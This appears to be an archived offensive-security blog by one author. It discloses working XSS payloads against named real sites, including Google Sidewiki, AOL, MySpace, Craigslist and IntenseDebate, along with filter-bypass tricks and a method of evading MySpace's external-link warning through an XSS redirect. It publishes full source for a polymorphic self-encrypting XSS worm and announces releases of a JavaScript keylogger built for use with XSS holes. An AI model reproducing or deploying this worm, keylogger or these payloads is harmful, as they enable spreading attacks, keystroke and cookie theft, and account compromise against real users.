Stumpleupon.com Reflected XSS

The code that displays spelling corrections does not encode user submitted data.

http://www.stumbleupon.com/search?q=teh<script>alert(0)</script>

Ning.com Persistent XSS

Less than and greater than characters submitted in the descriptions of albums, images and probably others are unencoded. Any tags submitted in such fields are subjected to whitelist validation, but this can be bypassed by prepending a less than character to the injected open and close tags.

Exploit: <<script>alert(0)//<</script>

PoC: http://coniferous.ning.com/photo/792231134-1

Javascript Keylogger 1.4 Released

A python HTTP server has been added to allow for greater cross-platform compatibility.

Download 1

Download 2

Prion 1.3 Released - Polymorphic XSS Worm

Because of Prion's large memory footprint it isn't suitable for use with every XSS vulnerability. For this reason I decided to create Prion Lite, a scaled down version of Prion small enough to be used with most XSS vulnerabilities, reflected or persistent. Of course this comes at a cost: unlike Prion, which carries its entire codebase with it, instances of the new Lite version must reference an off-site javascript file, another piece of evidence for anyone that might be looking for such things.

1.3 Changes
Cleaned up code
Prion lite added
Mickey mouse encryption algorithm updated (Prion lite only)
Reorder transformation added (Prion lite only)
Miscellaneous bug fixes

Download

Prion 1.2 Released - Polymorphic XSS Worm

Prion 1.2 is out, and it's quite an improvement over the last version. The updated encoding algorithm eliminated a lot of bloat, and the new code transformations make the decryptor of each worm instance unique.

1.2 Changes
Integer splitting transformation added
Variable rename transformation added
Added compressed version
Test UI updated

Download


/* Prion 1.2 by John Leitch - john.leitch5@gmail.com *//*worm start*/var startToken='/*worm start*/',endToken='/*worm '+'end*/';var generatedVars=new Array();function random(a,b){return Math.round((b-a)*Math.random()+a)}var varNameChars='_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';function genVarName(){var a;do{var b=random(3,14);a='';for(var i=0;i<b;i++){var r=random(0,varNameChars.length-1);a+=varNameChars[r]}}while(varUsed(a));return a}function varUsed(a){for(var i=0;i<generatedVars.length;i++){if(generatedVars[i]==a){return true}}return false}function transformInt(a,b){var c=['+','-','*','/'];var d='';for(var i=0;i<b;i++){var e=random(0,3);var f=d.match(/-?[\d\.]+/g);if(f!=null){for(var j=0;j<f.length;j++){if(f[j].indexOf('.')!=-1){f.splice(j,1);j--;continue}}if(f.length==0)break}if(d!=''){var g=f[random(0,f.length-1)];a=parseInt(g.match(/-?\d+/))}var h='';switch(e){case 0:var x=random(-1000,1000);var y=a-x;h='('+x+'+'+y+')';break;case 1:var y=random(0,1000);var x=a+y;h='('+x+'- '+y+')';break;case 2:var y=random(-1000,1000);var x=a/y;h='Math.round('+x+'*'+y+')';break;case 3:var y=random(-1000,1000);var x=a*y;h='('+x+'/'+y+')';break}if(d!=''){var k=new RegExp('([^\\d\\.]|^)'+a+'(([^\\d\\.])|$)');var l=d;d=d.replace(k,'$1'+h+'$2');try{var m=eval(d)}catch(err){alert('error evaling\r\n\r\n'+'old: '+l+'\r\n\r\n'+'new: '+d+'\r\n\r\n'+'regex: '+k+'\r\n\r\n'+'error: '+err)}}else{d=h}}return d}function encrypt(a){var b=[Math.floor(Math.random()*256),Math.floor(Math.random()*256)];var d=genVarName();var e=genVarName();var f=genVarName();var g=genVarName();var h=8;var j=transformInt(32,random(2,h));var k=transformInt(127,random(2,h));var l=transformInt(2,random(2,h));var m=startToken+'var k0='+b[0]+'\x3b'+'var k1='+b[1]+'\x3b'+'var '+d+'=\'';for(var i=0;i<a.length;i++){var c=(a.charCodeAt(i)^b[0]^b[1]).toString(16);m+=c.length==2?c:+'0'+c}m+='\'\x3bvar '+e+'=\'\'\x3b'+'for(var '+f+'=0;'+f+'<'+d+'.length;'+f+'+=2){'+'var '+g+'=parseInt('+d+'['+f+']+'+d+'['+f+'+1],16)^k0^k1\x3b'+'if('+g+'==10 || ('+g+'>='+j+' && '+g+'\x3c'+k+'))'+'{'+e+'+=String.fromCharCode('+g+')\x3b}'+''+'}'+'if('+e+'['+e+'.length-1]!=\'\x3b\'){'+e+'='+e+'.substring(0,('+e+'.length-'+l+'))\x3b'+'}'+'eval('+e+');'+endToken;return m}function findKey(a,b){var c=new RegExp('var\\sk'+b+'=(\\d+)');var d=c.exec(a);if(d==null){alert('key byte '+b+' not found');return null}return d[1]}function decrypt(a){var b=[findKey(a,0),findKey(a,1)];if(!b[0]||!b[1])return;var c=a.match(/var\s[\w_]+='([\d\w]+)'\x3b/);if(c==null){alert('packed code not found');return}var d='';var e=c[1].split(',');for(var i=0;i<c[1].length;i+=2){d+=String.fromCharCode(parseInt(c[1][i]+c[1][i+1],16)^b[1]^b[0])}return d}function findSelf(a){var x=a.indexOf(startToken)+startToken.length;var y=a.indexOf(endToken,x);var b=a.substring(x,y);b=b.replace(/\x26lt;/g,'\x3c');return b}var code=findSelf(document.body.innerHTML);if(code.indexOf('var k0=')==0){code=decrypt(code)}var encoded=encrypt(code);document.getElementById('xssWorm').innerHTML=encoded.replace(/\x3c/g,'\x26lt;');/*worm end*/

Prion 1.1 Released - Polymorphic XSS Worm

I've affectionately named my worm Prion and released a new version with several browser compatibility fixes and a new test page (embedded below). Click the execute button a few times to see it work.

Old sample removed. An updated version can be found here

Download

Polymorphic XSS Worm

Note: This entry is out of date; several fixes have been made. New download here

As the title suggests here is a generic, polymorphic XSS worm. With each infection the worm re-encrypts itself using a basic XOR cipher. The only piece missing is the code that sends the obfuscated script (stored in the encoded variable) to it's next target, likely a persistent XSS vulnerability. Below is the complete source. To see it in action save the source to an HTML file then view it. The javascript outputted to the text area is the repackaged worm; to test the repackaged source, replace the javascript of the sample below with the encrypted code and view the page again.

Polymorphic XSS Worm Source

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title>Polymorphic XSS Worm</title>   
</head>
<body>
    <textarea id="xssWorm" style="width:400px;height:600px;"></textarea>
    
    <script type="text/javascript">
        /*  Polymorphic XSS Worm by John Leitch - john.leitch5@gmail.com  */
                    
        /*worm start*/    
        var startToken = '/*worm start*/',
            endToken = '/*worm ' + 'end*/';

        function encode(code) {
            var key = Math.floor(Math.random() * 256);

            var packed = startToken + 'var k=' + key + ';var a=[';

            for (var i = 0; i < code.length; i++) {
                packed += (code.charCodeAt(i) ^ key) + ',';
            }

            packed += '];var d=\'\';' +
                'for (var i=0;i<a.length;i++)' + 
                    '{d+=String.fromCharCode(a[i]^k);}eval(d);' + endToken;

            return packed;
        }

        function decode(code) {
            var keyMatch = code.match(/var\sk=(\d+)/);

            if (keyMatch == null) {
                alert('key not found');

                return;
            }

            var key = keyMatch[1];

            var codeMatch = code.match(/var\sa=\[([\d{1,3},]+)\];/);

            if (codeMatch == null) {
                alert('packed code not found');

                return;
            }

            var unpacked = '';

            var codeBytes = codeMatch[1].split(',');

            for (var i = 0; i < codeBytes.length; i++) {
                if (!codeBytes[i]) {
                    continue;
                }

                unpacked += String.fromCharCode(codeBytes[i] ^ key);
            }

            return unpacked;
        }

        function findSelf(response) {
            var x = response.indexOf(startToken) + startToken.length;
            var y = response.indexOf(endToken, x);

            var code = response.substring(x, y);

            return code;
        }

        var code = findSelf(document.body.innerHTML);

        if (code.indexOf('var k=') == 0) {
            code = decode(code);
        }

        var encoded = encode(code);

        // This is where the newly obfuscated worm (stored in encoded)
        // is passed on to it's next target. But because we don't have a
        // target we'll spit the newly obfuscated code out to a textarea.

        document.getElementById('xssWorm').value = encoded;
        /*worm end*/
    </script>
</body>
</html>

Javascript Keylogger 1.3 Released

Changes:

Log entries now categorized by page view and field rather than just field
Fixed server crash bugs
Fixed bug related to replacing head & body

Download 1

Download 2


Happy keystroke logging!

Javascript Keylogger 1.2 Released

Download 1

Download 2

Javascript Keylogger 1.1 Released - HTTP Server Added

Javascript Keylogger has been updated. The new release contains an a customized HTTP server that generates keystroke reports.

From the readme:

Start the server, view Test1.htm or Test2.htm, and type in one of the inputs to see it in action. Logged keystrokes are displayed in the console and written to a text file in the same directory as the server. Server settings are in the JavascriptKeyloggerServer.exe.config file.

Download 1

Download 2

Javascript Keylogger

I wrote a javascript keylogger that works nicely with XSS vulnerabilities.

Download 1

Download 2

Free Rein - MLive.com

MLive's profile system has no XSS protection. HTML of any sort can be entered in the About Me field.

http://connect.mlive.com/user/XSSBlog/index.html

More Reflected XSS - AOL.com

More of the same.

http://messageboards.aol.com/aol/en_us/search.php?search="style="position:absolute;top:0;left:-500px;width:9999px;height:9999px;"onmouseover="alert(0)&boardId=519911&search_all=0&search_type=2

http://finance.aol.com/lookup/"style="width:9999px;height:9999px;"onmouseover="alert(0)">/usa

And of course being a myspace white listed site these can be used to get around msplinks.

http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y

Bypassing Msplinks.com Revisited - Myspace.com

The technique I previously blogged about still works, but ytmnd.com has fixed the XSS vulnerability used in that posting. Here's a hole in another Msplinks.com whitelisted site:

http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('

Just as before 01 is prefixed to the XSS redirect URL, then the result is Base64 encoded and appended to http://www.msplinks.com/.

http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn

Persistent XSS Vulnerability - Google.com

Here's a good one: Google Sidewiki has a type 2 XSS vulnerability. Upon editing an entry (and possibly when adding one, I didn't test it) an HTTP proxy such as Fiddler can be used to alter the pagetitle field.



The code replacing the pagetitle value is as follows.

<<a>a onmouseout=alert(0)>a

The a tag is stripped out, but as only one pass is performed a new a tag is created.

<a onmouseout=alert(0)>a

The result is a profile containing the arbitrary code.



http://www.google.com/profiles/108489460074237220044?hl=en#sidewiki

Persistent XSS Vulnerability - IntenseDebate.com

The profile description field of Intense Debate has a type 2 XSS vulnerability. Using it, arbitrary code can be run when the affected profile is viewed or when the mouse cursor is over the avatar present next to comments posted by the account.

<a style="position:absolute;top:-500px;left:-500px;width:9999px;height:9999px;" onmouseover="alert(0)"></a>

http://intensedebate.com/people/JohnnyCake5

http://www.woodtv.com/dpp/your_money/wall_street/Stocks_End_Low_As_Healthcare_Recovers_2887663#IDComment35942133

Persistent XSS Vulnerability - AssociatedContent.com

Several of the fields of Associated Content profile system have persistent XSS vulnerabilities. Such a vulnerability could be used to craft a rather nasty worm.





The code shown in the screenshots is as follows:

"style="position:absolute;top:0;left:0;width:9999px;height:9999px;"onmouseover="alert(0)

http://www.associatedcontent.com/user/631547/xss_blog.html

Sidestepping Filters - Craigslist.org

Because the of the lack of HTML encoding, tags can be injected using the search forum search feature assuming no results are found. Testing this with H1 tags yields the expected results.



However, attempting the same thing with script results in the page being rendered only up to to the opening tag.



But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.

http://craigslist.org/forums/?SQ=fffffffff<script>alert(0)</script>f&act=RSR&forumID=8

Bypassing Myspace IM XSS Filters - Myspace.com

The filtering Myspace IM uses is rather aggressive. Regardless of context, document. is changed to document· and eval() to ..). By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.

The vulnerability (only works when logged in):
http://myspace.com/index.cfm?fuseaction="};alert(0);var x={"":"

The vulnerability re-encoded to bypass IM filters:
http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22

Bypassing Msplinks.com Notifications - Myspace.com

As a preventative measure Myspace.com routes all user posted links through Msplinks.com. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.



Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.

The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//

A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=